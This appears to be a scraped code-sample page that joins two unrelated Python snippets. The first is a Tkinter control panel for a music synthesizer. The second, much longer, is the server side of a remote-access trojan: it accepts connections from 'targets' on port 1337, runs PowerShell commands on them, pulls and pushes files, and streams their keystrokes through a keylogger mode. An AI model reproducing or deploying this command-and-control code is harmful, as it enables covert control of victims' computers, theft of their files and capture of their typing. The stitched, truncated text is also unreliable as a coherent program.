                name = self.saveBehaviourNameEntry.get()
                self.saveBehaviourNameEntry.delete(0, len(name))
            else:
                return
        else:  # button was pressed
            name = self.saveBehaviourNameEntry.get()
        if name:
            self.send({'sys': ['save_behaviour', name]})

    def force_caesura(self):
        self.send({'force_caesura': True})

    def create_voices(self):
        voice_ids = ['1', '2', '3', '4']
        SCALES = OrderedDict([
                  ('pan_pos', {'min': -1, 'max': 1, 'start': 0.5, 'res': 0.001}),
                  ('volume', {'min': 0, 'max': 1, 'start': 0.666, 'res': 0.001}),
                  ('slide_duration_msecs', {'min': 0, 'max': 2000, 'start': 60, 'res': 1}),
                  ('slide_duration_prop', {'min': 0, 'max': 2, 'start': 0.666, 'res': 0.001}),
                  ('binaural_diff', {'min': 0, 'max': 66, 'start': 0.2, 'res': 0.01})
                ])

        for vid in voice_ids:
            counter = 0
            for sca in SCALES:
                name = 'voice_' + vid + '_' + sca
                setattr(self, 'min_' + name, SCALES[sca]['min'])
                setattr(self, 'max_' + name, SCALES[sca]['max'])
                this_sca = Scale(self, label=sca, orient=HORIZONTAL,
                                 from_=getattr(self, 'min_' + name),
                                 to=getattr(self, 'max_' + name),
                                 resolution=SCALES[sca]['res'])
                this_sca.enable = ('enable' in list(SCALES[sca].keys()) and
                                   SCALES[sca]['enable'] or None)
                this_sca.disable = ('disable' in list(SCALES[sca].keys()) and
                                    SCALES[sca]['disable'] or None)
                this_sca.grid(column=int(2 + int(vid)), row=counter, sticky=E + W)
                this_sca.bind("<ButtonRelease>", self.scale_handler)
                this_sca.ref = name
                counter += 1
        CHECK_BUTTONS = OrderedDict(
                 [('mute', False),
                  ('automate_binaural_diffs', True),
                  ('automate_note_duration_prop', True),
                  ('use_proportional_slide_duration', {'val': True, 'label': 'proportional slide'}),
                  ('automate_pan', True),
                  ('automate_wavetables', True)])
        for vid in voice_ids:
            counter = 0
            cb_frame = LabelFrame(self, text="Voice {0} - Automation".format(vid))
            setattr(self, 'voice_' + vid + '_cb_frame', cb_frame)
            for cb in CHECK_BUTTONS:
                options = CHECK_BUTTONS[cb]
                name = 'voice_' + vid + '_' + cb
                if isinstance(options, dict) and 'label' in list(options.keys()):
                    label = options['label']
                else:
                    label = cb[9:] if cb[:9] == 'automate_' else cb
                setattr(self, name, IntVar(
                    value=type(options) == dict and options['val'] or options))
                self.this_cb = Checkbutton(cb_frame, text=label, variable=getattr(self, name))
                self.this_cb.bind('<Button-1>', self.check_boxes_handler)
                self.this_cb.disable = None
                self.this_cb.grid(sticky=W, column=0, row=counter)
                self.this_cb.ref = name
                counter += 1
            # add trigger wavetable-button
            trigWavetableButton = Button(cb_frame, text='Next Wavetable')
            trigWavetableButton.bind('<Button-1>', self.trigger_waveform_handler)
            trigWavetableButton.ref = 'voice_' + vid + "_trigger_wavetable"
            trigWavetableButton.grid(row=counter)
            cb_frame.grid(column=int(vid) + 2, row=5, sticky=E + W + N, rowspan=8)
        for vid in voice_ids:
            generation_types = ["random", "random_harmonic", "harmonic"]
            partial_pools = ["even", "odd", "all"]
            prefix = 'voice_' + vid + '_'
            types_name = prefix + 'wavetable_generation_type'
            pools_name = prefix + 'partial_pool'
            setattr(self, types_name, StringVar())
            getattr(self, types_name).set("random")
            setattr(self, pools_name, StringVar())
            getattr(self, pools_name).set("all")
            target_frame = getattr(self, 'voice_' + vid + '_cb_frame')
            gen_typ_frame = LabelFrame(target_frame, text="type")
            gen_typ_frame.grid(row=len(target_frame.winfo_children()), sticky=W)
            for gen_t in generation_types:
                gen_t_entry = Radiobutton(gen_typ_frame, value=gen_t, text=gen_t, anchor=W,
                                          variable=getattr(self, types_name))
                gen_t_entry.bind('<ButtonRelease-1>', self.wt_handler)
                gen_t_entry.ref = types_name
                gen_t_entry.grid(row=len(gen_typ_frame.winfo_children()), sticky=W)
            pp_frame = LabelFrame(target_frame, text="harmonics")
            for pp in partial_pools:
                pp_entry = Radiobutton(pp_frame, value=pp, text=pp, anchor=W,
                                       variable=getattr(self, pools_name))
                pp_entry.bind('<ButtonRelease-1>', self.wt_handler)
                pp_entry.ref = pools_name
                pp_entry.grid(row=len(pp_frame.winfo_children()), sticky=E + W)
            this_num_partials = Scale(pp_frame, label='number of harmonics', orient=HORIZONTAL,
                                      from_=1, to=24, resolution=1)
            this_num_partials.ref = prefix + 'num_partials'
            this_num_partials.grid(column=0, row=len(pp_frame.winfo_children()), sticky=E + W)
            this_num_partials.bind("<ButtonRelease>", self.scale_handler)
            pp_frame.grid(row=len(target_frame.winfo_children()), sticky=E + W)

    def wt_handler(self, event):
        print(event.widget.tk)
        ref = event.widget.ref
        self.send({ref: getattr(self, ref).get()})

    def create_check_buttons(self):
        self.cb_frame = LabelFrame(self, text="Global Settings")
        for cb in CHECK_BUTTONS:
            label = cb
            target_parent = self.cb_frame
            if isinstance(CHECK_BUTTONS[cb], dict) and 'sub_frame' in list(CHECK_BUTTONS[cb].keys()):
                target_parent = getattr(self, CHECK_BUTTONS[cb]['sub_frame'])
            setattr(self, cb, IntVar(value=type(CHECK_BUTTONS[cb]) == dict and
                                     CHECK_BUTTONS[cb]['val'] or
                                     CHECK_BUTTONS[cb]))
            self.this_cb = Checkbutton(target_parent, text=label, variable=getattr(self, cb))
            self.this_cb.bind('<Button-1>', self.check_boxes_handler)
            self.this_cb.disable = (type(CHECK_BUTTONS[cb]) == dict and
                                    'disable' in list(CHECK_BUTTONS[cb].keys()))
            self.this_cb.grid(sticky=W, column=0, row=len(target_parent.winfo_children()))
            self.this_cb.ref = cb
        for but in GLOBAL_BUTTONS:
            label = but
            ele = GLOBAL_BUTTONS[but]
            this_but = Button(self.cb_frame, text=but)
            this_but.bind('<ButtonRelease-1>', getattr(self, ele['handler']))
            this_but.ref = but
            this_but.grid(sticky=W, column=0, row=len(self.cb_frame.winfo_children()))
        self.cb_frame.grid(column=0, row=0, rowspan=10, sticky=N)

    def new_behaviour_chosen(self, a, b, c):
        self.send({'sys': ['change_behaviour', self.selected_behaviour.get()]})

    def set_value(self, name, val):
        '''sets a widget to the specified value

        various different widget types need custom setting functionality'''

        direct = ['scale', 'wavetable_generation_type', 'partial_pool']
        if [x for x in direct if match("(voice_\d_|)" + x, name)]:
            self.gui_logger.info("setting: '{0}' to '{1}' in GUI".format(name, val))
            getattr(self, name).set(val)
            return
        if name == 'saved_behaviours' and len(val):
            self.savedBehavioursMenu.destroy()
            self.savedBehavioursMenu = OptionMenu(self.monitor_frame,
                                                  self.selected_behaviour, *sorted(val))
            self.savedBehavioursMenu.grid(row=5, sticky=E + W)
            return
        for w in self.settables:
            typ = w.__class__.__name__
            if w.ref == name:
                # print "setting '{0}' of type: '{1}' to: {2}".format(name, typ, val)
                if typ == 'Scale':
                    w.set(val)
                elif typ == "Checkbutton":
                    w.select() if val else w.deselect()

    def check_boxes_handler(self, event):
        '''handles checkbox events.

        shows and hides gui elements according to their enable/disable fields'''
        # print event.__dict__
        # print event.widget.__dict__
        ref = event.widget.ref
        val = not getattr(self, ref).get()  # because is read before the var is changed
        self.send({ref: val})
        # print ref, val
        # handle gui elements
        # enable/disable functionality temporarily(?) commented on:
        # Wed Aug 17 09:39:54 CEST 2011
#        if event.widget.disable:
#            for w in self.children.values():
#
#                # this try clause is for debugging, remove when stable
#                try:
#                    w.ref
#                    #print w.ref
#                except:
#                    pass
#                if (w.__class__.__name__ == 'Scale' and
#                    (w.disable or w.enable)):
#                    if w.disable == ref:
#                        if val:
#                            w.grid()
#                        else:
#                            w.grid_remove()
#                    elif w.enable == ref:
#                        if val:
#                            w.grid_remove()
#                        else:
#                            w.grid()
#                    #print w.disable, w.enable

    def create_scales(self):
        counter = 0
        for sca in SCALES:
            label = SCALES[sca]['label'] if 'label' in list(SCALES[sca].keys()) else sca
            setattr(self, 'min_' + sca, SCALES[sca]['min'])
            setattr(self, 'max_' + sca, SCALES[sca]['max'])
            self.this_scale = Scale(self, label=label, orient=HORIZONTAL,
                                    from_=getattr(self, 'min_' + sca),
                                    to=getattr(self, 'max_' + sca),
                                    resolution=SCALES[sca]['res'])
            self.this_scale.set(SCALES[sca]['start'])
            self.this_scale.enable = ('enable' in list(SCALES[sca].keys()) and
                                      SCALES[sca]['enable'] or None)
            self.this_scale.disable = ('disable' in list(SCALES[sca].keys()) and
                                       SCALES[sca]['disable'] or None)
            if 'pos' in list(SCALES[sca].keys()):
                pos = SCALES[sca]['pos']
                col = pos['c']
                row = pos['r']
            else:
                row = counter
                col = 1
                counter += 1
            self.this_scale.grid(column=col, row=row, sticky=E + W)
            self.this_scale.ref = sca
            self.this_scale.bind("<ButtonRelease>", self.scale_handler)

    def scale_handler(self, event):
        self.send({event.widget.ref: event.widget.get()})
        self.gui_logger.info("handling scale: {0}, with new value: {1}".format(
                  event.widget.ref, event.widget.get()))

    def trigger_waveform_handler(self, event):
        self.send({event.widget.ref: True})
        # print event.widget.ref, "- triggering wavetable"

    def send_scale(self):
        do = {'scale': self.scale.get()}
        self.send(do)

    def send(self, msg):
        self.gui_logger.info("sending: {0}".format(msg))
        self.send_sock.sendto(json.dumps(msg), (remote_host, send_port))

    def create_ranges(self):
        counter = 0
        for ran in RANGES:
            setattr(self, 'min_' + ran, RANGES[ran]['min'])
            setattr(self, 'max_' + ran, RANGES[ran]['max'])
            self.this_min_scale = Scale(self, label='min ' + ran, orient=HORIZONTAL,
                                        from_=getattr(self, 'min_' + ran),
                                        to=getattr(self, 'max_' + ran),
                                        resolution=RANGES[ran]['res'])
            self.this_max_scale = Scale(self, label='max ' + ran, orient=HORIZONTAL,
                                        from_=getattr(self, 'min_' + ran),
                                        to=getattr(self, 'max_' + ran),
                                        resolution=RANGES[ran]['res'])
            self.this_min_scale.set(RANGES[ran]['min_start'])
            self.this_max_scale.set(RANGES[ran]['max_start'])
            self.this_min_scale.enable = ('enable' in list(RANGES[ran].keys()) and
                                          RANGES[ran]['enable'] or None)
            self.this_min_scale.disable = ('disable' in list(RANGES[ran].keys()) and
                                           RANGES[ran]['disable'] or None)
            self.this_max_scale.enable = ('enable' in list(RANGES[ran].keys()) and
                                          RANGES[ran]['enable'] or None)
            self.this_max_scale.disable = ('disable' in list(RANGES[ran].keys()) and
                                           RANGES[ran]['disable'] or None)
            self.this_min_scale.grid(column=2, row=counter, sticky=E + W)
            self.this_max_scale.grid(column=2, row=counter + 1, sticky=E + W)
            self.this_min_scale.ref = 'min_' + ran
            self.this_max_scale.ref = 'max_' + ran
            self.this_min_scale.bind("<ButtonRelease>", self.scale_handler)
            self.this_max_scale.bind("<ButtonRelease>", self.scale_handler)
            counter += 2

    def socket_read_handler(self, file, mask):
        data_object = json.loads(file.recv(1024))
        do = list(data_object.items())[0]
        self.set_value(do[0], do[1])
Exemplo n.º 5
0
class Sockets(object):
    """
    MODE_MSG :: Upload/Download

    UploadFolder()   ***:<<<<<<<<<<<<:data communication CLIENT:>>>>>>>>>>>***  downloadFolder()

        SEND type Of download{folder/file}, | GET type <...,
        =>    wait for iGet                 | SEND <"GetTypeDownload">

        SEND filename, wait for iGet        | GET <..., SEND <"getFileName">

        SEND Binary in rate 100**3.9, At    | GET Binary At every beat of sixty million,
        =>   every beat of sixty million    |
        =>   wait for iGet                  | SEND  <"GetDataBinary">

        SEND if one file sending from files | GET <...,
        =>   <"R1ad0n1F">, wait for iGet    | SEND <"GetOneFile">

       END                                  | END


    UploadFolder()  ***:<<<<<<<<<<<<:data communication SERVER:>>>>>>>>>>>***  downloadFolder()

        SEND type of download{folder/file, | GET <...,
            files in Dir}, wait for iGet   | SEND <"GetTypeDownload">

        SEND fileName, wait for iGet       | GET <..., SEND <"GetFileName">

        SEND Binary {see Up}, wait for iGet| GET <..., SEND <"GetDataBinary">

        SEND <"R1ad0n1F"> , wait for iGet  | GET <..., SEND <"GetOneFile">

        END                                | END

    """
    def __init__(self):

        self.isCancelUpload = True
        xNone = os.popen("echo %username%").read().split("\n")
        self.nameAdmin = xNone[0]
        self.Server = None  # // That will be accessible from anywhere
        self.liSocket = []  # // to Send
        self.liAddress = []  # // to GRAPH and send specific client
        self.liIpPrivate = []
        self.RECV = int(100**3.9)
        self.PORT = 1337
        self.ipOfClient = None  # // ip private
        self.ipChoose = None
        self.createDrop = False  # // if server.close and createdDrop  destroy else None
        self.createLabTarget = False
        self.defaultChoose = None
        self.dateFromTarget = None
        self.labTarget = None
        self.dropChooseIp = None
        self.MODE_MSG = "Command"  # //  'Download' / 'Upload' / 'ListenKeyboard' >F5< (:
        self.CLOSE = "StartRecording"
        self.file = f"Date_From_Target"
        self.languageOfKeyToListen = "EN"  # // default
        self.F_B = "fg"  # // for console {textOfResult} default: fg else: bg
        self.numToSaveFile = randint(1, 50000)
        self.TITLE = None  # // save from Terminal
        self.PathConsole = rf"c:\Users\{self.nameAdmin}"  # // default
        self.isFolderFile = None
        self.UploadRate = 45000000
        self.selectFileUpload = None  # // Upload uses for two vars [!!]
        self.selectFolderUpload = None  # // Upload
        self.isCancelDownload = True  # // default [!] any{download} run->back to default
        self.ERROR = False

    def StartServer(self):
        """
             1. server listen in 0.0.0.0 under mask=255.255.255.0 only! , or
                in 127.0.0.1 that it's selfListening {האזנה עצמית }
                server listen under func listen()-> 15 connections
                server accept connection

             2. first server get from connect ipv4 , going forward:
                in graphic configuration will be display message that
                have connections, when first connection will create
                drop in ip of the connect
            """

        self.Server = socket(AF_INET, SOCK_STREAM)
        try:
            self.Server.bind(("0.0.0.0", self.PORT))
        except OSError:
            pass

        self.Server.listen(15)
        #
        # GRAPH #
        buttActivation.config(text="Power On",
                              fg="red",
                              command=lambda: Root.CloseServer())
        textOfResult.delete(0.0, END)
        textOfResult.insert(END, "\t\t :::[START] start listening..\n\n")
        # END #
        #
        while True:
            try:
                sockClient, address = self.Server.accept()
            except OSError:
                break  # // server.close

            # // get ipv4
            self.ipOfClient = sockClient.recv(self.RECV).decode().split("|")
            self.liIpPrivate.append({
                "ip": self.ipOfClient[0],
                "port": str(address[1]),
                "user": self.ipOfClient[1]
            })
            self.liSocket.append(sockClient)
            self.liAddress.append(address)

            #
            # GRAPH #
            textOfResult.insert(
                END, f"{address} name=> {self.ipOfClient[1]} :: connected\n\n")
            if len(self.liSocket) > 1:
                defaultChoose2 = self.defaultChoose.get()
                self.dropChooseIp.destroy()
                self.defaultChoose = StringVar(winRootConnect)
                self.defaultChoose.set(defaultChoose2)
                self.dropChooseIp = OptionMenu(
                    winRootConnect,
                    self.defaultChoose,
                    *self.liAddress,
                    command=lambda signal: Sockets.chooseIpTarget(self))
                # <lambda signal># take one arg
                self.dropChooseIp.place(x=0, y=140)
            elif len(self.liSocket) == 1:
                self.createDrop = True
                self.defaultChoose = StringVar(winRootConnect)
                self.defaultChoose.set("IPS")
                self.dropChooseIp = OptionMenu(
                    winRootConnect,
                    self.defaultChoose,
                    *self.liAddress,
                    command=lambda signal: Sockets.chooseIpTarget(self))  # //
                # <lambda signal># take one arg
                self.dropChooseIp.place(x=0, y=140)

            buttShowIp['state'] = NORMAL

            # END #

    # 1. clear all array containing ips, sockets. drop destroy
    #    and message label of indicating connection that selected
    #    and turn off listening of server under this func > server.close()
    def CloseServer(self):

        clientLast = ""
        try:
            clientLast = self.liSocket[-1]
        except Exception:
            pass

        for client in self.liSocket:
            try:
                client.sendall("EXIT".encode())
                client.sendall("".encode())
            except ConnectionResetError:
                self.liSocket.remove(client)

        try:
            clientLast.sendall("EXIT".encode())
            clientLast.sendall("".encode())
        except Exception:
            pass

        if self.createDrop:
            self.dropChooseIp.destroy()

        if self.createLabTarget:
            self.labTarget.place_forget()

        buttShowIp['state'] = DISABLED

        self.Server.close()
        self.liSocket.clear()
        self.liAddress.clear()

        # GRAPH #
        buttActivation.config(
            text="Power Off",
            fg='black',
            command=lambda: threading.Thread(target=Sockets.StartServer,
                                             args=(self, )).start())

        textOfResult.delete(0.0, END)
        textOfResult.insert(END,
                            "\t\t :::[SHUTDOWN] client and server closed.")
        buttExecute['state'] = DISABLED
        # END #

    def checkWhoTarget(self):
        """
        return the connect that select from  < dropChooseIp >
        """

        for Target in self.liSocket:
            if self.ipChoose in str(Target):
                return Target

    # GRAPH > *

    # important lists of setting ['Command', 'Download', 'Upload', 'ChDir {change Dir}',  'ListenKeyboard']
    def ModeCommand(self):
        """
        define of = ['Command', 'Download', 'Upload', 'ChDir {change Dir}',  'ListenKeyboard'] => Command
        """

        buttChangeDir['state'] = NORMAL
        buttExecute['text'] = "EXECUTE"
        buttSaveDate['text'] = "Save Data"

        buttChangeMode.config(text="PowerShell",
                              command=lambda: Sockets.ModeDownload(self))

        self.MODE_MSG = "Command"

    def ModeDownload(self):
        """
            define of = [...] => Download
        """

        buttChangeDir['state'] = DISABLED
        buttExecute['text'] = "EXECUTE"
        buttSaveDate.config(text="save log Terminal",
                            command=lambda: Sockets.saveDateFromTerminal(self))

        buttChangeMode.config(text=" Download ",
                              command=lambda: Sockets.ModeUpload(self))

        self.MODE_MSG = "Download"

    def ModeListenKeyboard(self):
        """
            define of = [...] => ListenKeyBoard
        """

        if self.liAddress and str(type(self.ipChoose)) != "<class 'NoneType'>":
            buttExecute['state'] = NORMAL

        buttChangeDir['state'] = DISABLED
        buttExecute['text'] = "OFF RECORD"
        buttSaveDate.config(text="save recording",
                            command=lambda: Sockets.saveDateFromTerminal(self)
                            )  # // TODO: function

        buttChangeMode.config(text="Listen Keyboard",
                              command=lambda: Sockets.ModeCommand(self))

        self.MODE_MSG = "ListenKeyboard"

    def ModeChDir(self):
        """
            define of =[...] => ChDir
        """
        buttChangeMode['state'] = DISABLED

        textOfResult.delete(0.0, END)

        entrCommand.delete(0, END)
        entrCommand.insert(END, "PATH>")

        self.MODE_MSG = "ChDir"

    def ModeUpload(self):
        """
            define of = [...] => Upload
        """

        buttExecute['text'] = "EXECUTE"
        buttChangeDir['state'] = DISABLED
        buttSaveDate.config(text="Save log Terminal",
                            command=lambda: Sockets.saveDateFromTerminal(self))

        buttChangeMode.config(text="Upload",
                              command=lambda: Sockets.ModeListenKeyboard(self))
        entrCommand.delete(0, END)
        entrCommand.insert(END, f"path in Target>")

        self.MODE_MSG = "Upload"

    def showListConnects(self):
        """LIST OF IPS"""

        text = """this all connects
        if you will want to send any date to specific ip
        go to "choose ip."""

        textOfResult.delete(0.0, END)
        textOfResult.insert(END, text + '\n\n')

        num = 0
        for i_p in self.liAddress:
            textOfResult.insert(END, f"{num} = {i_p}\n\n")
            num += 1

    def chooseIpTarget(self):
        """
            Defined mainly graphics configuration
        """

        self.createLabTarget = True
        self.ipChoose = self.defaultChoose.get()
        for port in self.liIpPrivate:
            if port['port'] in str(self.ipChoose):
                self.labTarget = Label(
                    winRootConnect,
                    text=
                    f"ADDRESS: {port['ip']}~{port['port']}\tNAME: {port['user']}",
                    fg="black",
                    font="Ariel 12")

        self.labTarget.place(x=200, y=560)
        buttExecute['state'] = NORMAL
        buttChangeDir['state'] = NORMAL

    def bgORfg(self, f_OR_b):
        """
        define foreground or background of < textOfResult >
        """
        self.F_B = f_OR_b

    def changeKeyListenHebrew(self, key):
        """
        using on dictionary of
            Key = letter of Hebrew
            Value = letter of English
        """
        if self.languageOfKeyToListen == "HE":
            for k, v in Hebrew.items():
                if v in key:
                    return k

        return key

    def menuChColor(self, color):
        """
            define fg or bg and so..
        """
        textOfResult[self.F_B] = color

    # > END  #

    def KeyHE(self):
        """
            filter the listening to Keyboard to Hebrew letters
        """
        self.languageOfKeyToListen = "HE"
        buttListenKey.config(text="Hebrew",
                             command=lambda: Sockets.KeyEN(self))

    def KeyEN(self):
        """
            default: filter return < Key >
        """
        self.languageOfKeyToListen = "EN"
        buttListenKey.config(text="English",
                             command=lambda: Sockets.KeyHE(self))

    def SendChDir(self):
        """
            send value of < textOfResult > = just directories of paths
            SideClient define `send` this path to CMD to define
            location of all calls {like dir || ls}
        """
        buttExecute['text'] = "RUNNING..."
        p = entrCommand.get()
        if 'c:\\' in p.lower():
            p = p[p.find("c:\\"):]
            Target = Sockets.checkWhoTarget(self)
            try:
                Target.sendall(self.MODE_MSG.encode())
                Target.sendall(p.encode())
                self.dateFromTarget = Target.recv(self.RECV).decode()
                textOfResult.insert(END, f"\n\nStatus: {self.dateFromTarget}")
                Sockets.ModeCommand(self)
                entrCommand.delete(0, END)
                buttExecute['text'] = "EXECUTE"

            except Exception:
                self.liSocket.remove(Target)
                textOfResult.delete(0.0, END)
                textOfResult.insert(
                    END, f"\n\n{Target[1]} DISCONNECTED. can't to send")

        else:
            buttExecute['text'] = "EXECUTE"
            textOfResult.insert(END, "\n\nenter path else You're an amateur")

    def getDataCommand(self):
        """
        Returned data from JUST PowerShell
        """
        buttSaveDate['state'] = NORMAL
        buttExecute['text'] = "RUNNING.."
        if entrCommand.get() and "c:\\" not in entrCommand.get().lower()[:3]:
            Target = Sockets.checkWhoTarget(self)
            try:
                Target.sendall(self.MODE_MSG.encode())
                Target.sendall(entrCommand.get().encode())
                try:
                    self.dateFromTarget = Target.recv(self.RECV).decode()
                except UnicodeDecodeError:
                    self.dateFromTarget = "Sorry,the encoding can't read this data" \
                                          "\n\nYOU CAN change this with command chcp 437 (or another code)"
                    buttExecute['text'] = "EXECUTE"

                textOfResult.delete(0.0, END)
                if len(self.dateFromTarget) < 100000:
                    textOfResult.insert(END, f"\n\n{self.dateFromTarget}")
                else:
                    textOfResult.insert(
                        END,
                        'text in this file too long -to show click Save data from '
                        'Console-')
            except Exception as e:
                self.liSocket.remove(Target)
                textOfResult.delete(0.0, END)
                print(e)
                textOfResult.insert(
                    END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")

            buttExecute['text'] = "EXECUTE"
        else:
            buttExecute['text'] = "EXECUTE"

    def DownloadData(self):
        """
            see Up line 20 - 60
        """
        try:
            Target = Sockets.checkWhoTarget(self)
            if len(entrCommand.get()) > 5:

                buttExecute.config(state=DISABLED, text="RUNNING...")
                buttSaveDate['state'] = NORMAL

                textOfResult.delete(0.0, END)
                textOfResult.insert(END, f"\t\t\t[request] = ")

                Target.sendall(self.MODE_MSG.encode())
                Target.sendall(entrCommand.get().encode())
                textOfResult.insert(END, "OK!")

                # wait for data...
                self.dateFromTarget = Target.recv(self.RECV)
                if self.dateFromTarget != "ERROR".encode():
                    print("not error")
                    self.isFolderFile = self.dateFromTarget.decode().split("|")
                    Sockets.windowToDownload(self)
                    print("finish download")

                    if self.isCancelDownload:
                        Target.sendall("C!NC$L".encode())
                        textOfResult.insert(
                            END,
                            f"\n\n[DOWNLOAD] CANCELED PROCESSING download={self.isFolderFile[1]} Files"
                        )
                        buttExecute.config(text="EXECUTE", state=NORMAL)

                    self.isCancelDownload = True  # // important [!]
                else:
                    textOfResult.delete(0.0, END)
                    textOfResult.insert(END, self.dateFromTarget.decode())
                    buttExecute.config(state=NORMAL, text="EXECUTE")

        except OSError:
            Target = Sockets.checkWhoTarget(self)
            self.liSocket.remove(Target)
            textOfResult.delete(0.0, END)
            textOfResult.insert(
                END, f"\n\n{self.ipChoose} DISCONNECTED. can't to send ")
            buttExecute['state'] = NORMAL
            buttExecute['text'] = "EXECUTE"

    def getDateKeyboard(self):
        """
            Activates capability of listen to keyboard
            SideClient return Every press in keyboard
            When turn Off in SideServer HAVE TO wait
            that Side Client will click one press to Terminated processing :(
        """
        buttExecute.config(text="ON RECODER",
                           command=lambda: Sockets.closeRecord(self))
        buttSaveDate['state'] = NORMAL
        textOfResult.delete(0.0, END)
        try:
            Target = Sockets.checkWhoTarget(self)
            try:
                while True:
                    Target.sendall(self.MODE_MSG.encode())
                    Target.sendall(self.CLOSE.encode())
                    dateFromTarget = Target.recv(100).decode()
                    if "StopRecording" in dateFromTarget:  # // important! have to object "in" on this block
                        textOfResult.insert(END, "\n\n//StopRecording")
                        self.CLOSE = "StartRecording"
                        break
                    else:
                        textOfResult.insert(
                            END,
                            Sockets.changeKeyListenHebrew(
                                self, dateFromTarget))
            except Exception as s:
                print(s)
        except NameError:
            textOfResult.insert(END, "\n\nERROR : Choose IP . ")  # // ??

    # UPLOAD :start
    def FilesInDirectory(self):
        """
            performing mapping to list of folder
            JUST file
            JUST file containing data
            define Size of all Files
        """
        listFiles = []
        SizeDir = 0
        for file in os.listdir(self.selectFolderUpload):
            if os.path.getsize(file) > 0 and os.path.isfile(file):
                listFiles.append(file)
                SizeDir += os.path.getsize(file)
            else:
                # // ?
                continue

        return listFiles, SizeDir

    def UploadFile(self):
        """
            see Up line 20 - 60
        """

        fs = str(self.selectFileUpload).lower()
        Target = Sockets.checkWhoTarget(self)
        try:
            Size = os.path.getsize(fs[fs.find('c'):fs.find('>') -
                                      1])  # error in Hebrew
        except OSError:
            Size = None
            self.ERROR = True
            Target.sendall("ERROR_HEBREW".encode())
        if Size is not None:
            Target.sendall(
                f"File|{Size}|{fs[fs.rfind('/') + 1:fs.find('>') - 1]}".encode(
                ))
            print(f"echo File|{Size}|{fs[fs.rfind('/') + 1:fs.find('>') - 1]}")
            Target.recv(1024)  # // iGet

            x = 0
            while True:

                if Size > x:

                    FD = self.selectFileUpload.read(self.UploadRate)
                    x += len(FD)
                    print(f"length data ={x}")
                    Target.sendall(FD)
                    textOfResult.delete(0.0, END)
                    textOfResult.insert(
                        END, f"\n\n[UPLOAD] Uploading...{(x * 100) // Size}%")
                    Target.recv(1024)  # // iGet

                else:
                    self.selectFileUpload.close()
                    print("finish file")
                    Target.sendall('R1ad0n1F'.encode())
                    Target.recv(1024)  # // iGet
                    break
        else:
            textOfResult.delete(0.0, END)
            textOfResult.insert(
                END,
                "\tthe language of filename is Hebrew or other\n\tnow the system not supported!"
            )

    def UploadFolder(self):
        """
            see Up line 20 - 60
        """
        xRun = 0

        Target = Sockets.checkWhoTarget(self)
        os.chdir(self.selectFolderUpload)

        files, SizeDir = Sockets.FilesInDirectory(
            self)  # // important [!] SizeDir not uses here
        Target.sendall(f"Folder|{len(files)}".encode())
        print(f"echo Folder|{len(files)}")
        Target.recv(1024)  # // iGet
        for file in files:
            xRun += 1
            Target.sendall(f"{file}".encode())
            Target.recv(1024)  # // iGet
            Size = os.path.getsize(file)
            file = open(file, "rb")
            print(f"read432 {file}")

            x = 0
            while True:

                if Size > x:
                    FD = file.read(self.UploadRate)
                    x += len(FD)
                    print(f"length data = {x}")
                    Target.sendall(FD)
                    textOfResult.delete(0.0, END)
                    textOfResult.insert(
                        END,
                        f"\n\n[UPLOAD] Uploading....{(xRun * 100) // len(files)}%"
                    )
                    Target.recv(1024).decode()  # // iGet

                else:
                    print("finish file")
                    file.close()
                    Target.sendall("R1ad0n1F".encode())
                    Target.recv(1024)  # // iGet
                    break

    def SelectFolderUp(self, win):
        """ define the select """

        self.isCancelUpload = False
        self.selectFolderUpload = "Folder"
        win.destroy()

    def SelectFileUp(self, win):
        """ define the select """

        self.isCancelUpload = False
        self.selectFileUpload = "File"
        win.destroy()

    def ChooseUpload(self):
        """
        graphic to ask Modes to Upload > file OR folder
        """
        winAsk = Tk()
        winAsk.geometry("330x150")
        winAsk.resizable(False, False)
        winAsk.title("SELECT Upload")

        labAsk = Label(winAsk,
                       text="choose what you want to upload:",
                       font="times 14")
        labAsk.place(x=30, y=10)
        buttFolder = ttk.Button(
            winAsk,
            text=" FOLDER ",
            command=lambda: Sockets.SelectFolderUp(self, winAsk))
        buttFolder.place(x=30, y=50)
        buttFile = ttk.Button(
            winAsk,
            text=" FILE ",
            command=lambda: Sockets.SelectFileUp(self, winAsk))
        buttFile.place(x=200, y=50)
        winAsk.mainloop()

    def UploadData(self):
        """
            see Up line 20 - 60
        """
        buttExecute.config(text="RUNNING...", state=DISABLED)

        if len(entrCommand.get()) > 15 and "c:\\" in entrCommand.get():
            print("=path ok=")
            Target = Sockets.checkWhoTarget(self)

            Sockets.ChooseUpload(self)
            print("selected")

            if not self.isCancelUpload:
                Target.sendall(self.MODE_MSG.encode())
                Target.sendall(entrCommand.get()
                               [entrCommand.get().find("c:\\"):].encode())

                self.dateFromTarget = Target.recv(self.RECV)
                if not "ERROR".encode() in self.dateFromTarget:

                    if self.selectFileUpload:

                        self.selectFileUpload = filedialog.askopenfile("rb")
                        if self.selectFileUpload:
                            print("selected file")
                            Sockets.UploadFile(self)
                            print("finish uploading file")

                            if not self.ERROR:
                                print("terminate")
                                f = str(self.selectFileUpload)
                                textOfResult.insert(
                                    END,
                                    f"\n\n\tUploading File={f[f.rfind('/')+1:f.find('>') - 1]} successfully."
                                )
                                buttExecute.config(text="EXECUTE",
                                                   state=NORMAL)

                            self.selectFileUpload = None
                            self.ERROR = False
                            buttExecute.config(text="EXECUTE", state=NORMAL)
                        else:
                            Target.sendall("C!NC$L".encode())
                            textOfResult.insert(
                                END, "\n\n[UPLOAD] process UPLOAD canceled.")
                            buttExecute.config(text="EXECUTE", state=NORMAL)

                    if self.selectFolderUpload:

                        self.selectFolderUpload = filedialog.askdirectory()
                        if self.selectFolderUpload:
                            print("selected folder")
                            Sockets.UploadFolder(self)
                            print("finish upload folder")
                            print("terminate")
                            textOfResult.insert(
                                END,
                                f"\n\nUploading Folder={self.selectFolderUpload} successfully."
                            )
                            buttExecute.config(text="EXECUTE", state=NORMAL)
                            self.selectFolderUpload = None
                        else:
                            Target.sendall("C!NC$L".encode())
                            textOfResult.insert(
                                END, "\n\n[UPLOAD] process UPLOAD canceled.")
                            buttExecute.config(text="EXECUTE", state=NORMAL)

                else:
                    textOfResult.insert(
                        END,
                        f"\n\n{self.dateFromTarget.decode()} path of Windows directory not exist"
                    )
                    buttExecute.config(text="EXECUTE", state=NORMAL)

            else:
                textOfResult.insert(END,
                                    "\n\n[UPLOAD] Choose UPLOAD canceled.")
                buttExecute.config(text="EXECUTE", state=NORMAL)
        else:
            textOfResult.insert(END,
                                f"\n\nEnter path to download this in target")
            buttExecute.config(text="EXECUTE", state=NORMAL)

